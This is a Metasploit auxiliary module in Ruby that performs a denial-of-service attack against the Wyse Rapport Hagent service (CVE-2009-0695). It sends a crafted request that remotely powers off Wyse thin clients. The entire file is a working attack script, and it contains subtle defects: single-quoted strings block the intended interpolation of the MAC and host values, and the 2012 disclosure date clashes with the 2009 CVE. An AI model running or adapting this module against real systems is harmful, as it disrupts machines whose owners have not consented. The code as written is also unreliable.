require 'msf/core'
class Metasploit3 < Msf::Auxiliary
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'Wyse Machine Remote Power off (DOS)',
'Description' => %q{
This module exploits the Wyse Rapport Hagent service and cause
remote power cycle (Power off the wyse machine remotely).
},
'Stance' => Msf::Exploit::Stance::Aggressive,
'Author' => 'it.solunium@gmail.com',
'Version' => '$Revision: 14976 $',
'References' =>
[
['CVE', '2009-0695'],
['OSVDB', '55839'],
['US-CERT-VU', '654545'],
['URL', 'http://snosoft.blogspot.com/'],
['URL', 'http://www.theregister.co.uk/2009/07/10/wyse_remote_exploit_bugs/'],
['URL', 'http://www.wyse.com/serviceandsupport/support/WSB09-01.zip'],
['URL', 'http://www.wyse.com/serviceandsupport/Wyse%20Security%20Bulletin%20WSB09-01.pdf'],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Targets' =>
[
[ 'Wyse Linux x86', {'Platform' => 'linux',}],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 13 2012'
))
register_options(
[
Opt::RPORT(80),
], self.class)
end
def run
# Connect to the target service
print_status("Connecting to the target #{rhost}:#{rport}")
if connect
print_status("Connected...")
end
# Parameters
genmac = "00"+Rex::Text.rand_text(5).unpack("H*")[0]
craft_req = '&V52&CI=3|'
craft_req << 'MAC=#{genmac}|#{rhost}|'
craft_req << 'RB=0|MT=3|'
craft_req << '|HS=#{rhost}|PO=#{rport}|'
craft_req << 'SPO=0|'
# Send the malicious request
sock.put(craft_req)
# Download some response data
resp = sock.get_once(-1, 10)
print_status("Received: #{resp}")
disconnect
if not resp
print_error("No reply from the target, this may not be a vulnerable system")
return
end
if resp == '&00'
print_status("#{rhost} execute command succefuly & power off.")
return
end
#Exeptions
rescue ::Rex::ConnectionRefused
print_status("Couldn't connect to #{rhost}:#{rport} | Connection refused.")
rescue ::Rex::HostUnreachable
print_status("Couldn't connect to #{rhost}:#{rport} | Host unreachable")
rescue ::Rex::ConnectionTimeout
print_status("Couldn't connect to #{rhost}:#{rport} | Connection time out")
rescue ::Errno::ECONNRESET, ::Timeout::Error
print_status("#{rhost} not responding.")
end
end